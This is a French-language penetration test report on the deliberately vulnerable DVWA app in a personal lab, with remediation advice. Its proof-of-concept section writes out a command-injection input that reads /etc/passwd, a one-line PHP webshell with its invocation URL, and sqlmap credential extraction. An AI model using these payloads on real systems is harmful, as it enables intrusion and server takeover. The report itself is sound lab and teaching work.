RAPPORT DE PENTEST - APPLICATION WEB

Client / Cible : DVWA (Damn Vulnerable Web Application) **Environnement :** Lab e-burnisecurity (Proxmox / Terraform) **Date :** 19 Octobre 2026 **Auteur :** Yves Arnaud KOFFI **Classification :** Confidentiel

---

1. Synthèse Exécutive (Executive Summary)

Dans le cadre de l'audit de sécurité de l'application web DVWA, une analyse offensive (Pentest) a été menée. Les tests ont révélé **3 vulnérabilités critiques** permettant la compromission totale du serveur sous-jacent.

Niveau de risque global : CRITIQUE 🔴 Si cette application était en production, un attaquant pourrait voler les données des utilisateurs, exécuter des commandes système à distance (RCE) et prendre le contrôle du serveur.

---

2. Périmètre et Méthodologie

- **Cible :** `192.168.10.210` (Port 80 - HTTP)
- **Méthodologie :** OWASP Top 10 (2021) & MITRE ATT&CK
- **Outils utilisés :** Nmap (Reconnaissance), SQLMap (Exploitation SQLi), OWASP ZAP (DAST), Burp Suite / Navigateur (Attaques manuelles).

---

3. Synthèse des Vulnérabilités

#	Vulnérabilité	Sévérité (CVSS)	Impact
1	Injection de commande (RCE)	Critique (9.8)	Exécution de code sur le serveur
2	Injection SQL (SQLi)	Critique (9.8)	Vol de la base de données
3	Upload de fichier non restreint	Critique (9.8)	Déploiement de Webshell
4	Absence d'en-têtes de sécurité	Moyenne (5.3)	Risques XSS / Clickjacking

---

4. Détail des Vulnérabilités & Preuves (PoC)

4.1. Injection de commande (Command Injection)

- **Description :** L'application transmet des données utilisateur non filtrées à un shell système.
- **Preuve (PoC) :** Requête soumise : `127.0.0.1; cat /etc/passwd`
- **Résultat :** Le serveur a exécuté la commande et a retourné le contenu du fichier système `/etc/passwd` (exposant `www-data`, `root`, etc.).
- **Technique MITRE :** T1059 (Command and Scripting Interpreter)

4.2. Injection SQL (SQL Injection)

- **Description :** L'application insère les entrées utilisateur directement dans les requêtes SQL sans validation.
- **Preuve (PoC) :** L'outil `sqlmap` a identifié l'injection et a extrait la table `users` en 25 secondes.
- **Résultat :** Récupération des identifiants et cassage des mots de passe (ex: `admin` / `password`).
- **Technique MITRE :** T1190 (Exploit Public-Facing Application)

4.3. Upload de fichier non restreint (Arbitrary File Upload)

- **Description :** Le serveur accepte l'upload de fichiers `.php` sans vérifier le type MIME ou l'extension.
- **Preuve (PoC) :** Upload du script `shell.php` (`<?php system($_GET['cmd']); ?>`). Exécution via l'URL : `http://192.168.10.210/hackable/uploads/shell.php?cmd=id`.
- **Résultat :** Obtention d'un Webshell, permettant d'exécuter des commandes en tant qu'utilisateur `www-data`.
- **Technique MITRE :** T1505.003 (Web Shell)

---

5. Recommandations (Plan de remédiation)

Priorité 1 (Critique - Immédiat)

1. **Requêtes préparées (Prepared Statements) :** Utiliser PDO ou MySQLi pour séparer le code SQL des données utilisateur.
2. **Désactiver l'exécution PHP dans les dossiers d'upload :** Configurer Apache/Nginx pour interdire l'exécution de scripts dans le dossier `/uploads/`. Vérifier les types MIME à l'upload.

3. **Validation stricte des entrées :** Ne jamais passer d'entrées utilisateur à `system()`, `exec()` ou `shell_exec()`.

Priorité 2 (Moyenne)

4. **En-têtes de sécurité HTTP :** Ajouter `Content-Security-Policy`, `X-Frame-Options: DENY`, et `Strict-Transport-Security` (HSTS).
5. **Gestion des sessions :** Activer le flag `HttpOnly` et `Secure` sur les cookies de session.

Rapport généré dans le cadre du Lab e-burnisecurity. Aucune autorisation n'a été requise car la cible est un environnement de test dédié. root@ansible-control:~/decyvan25.github.io/rapports#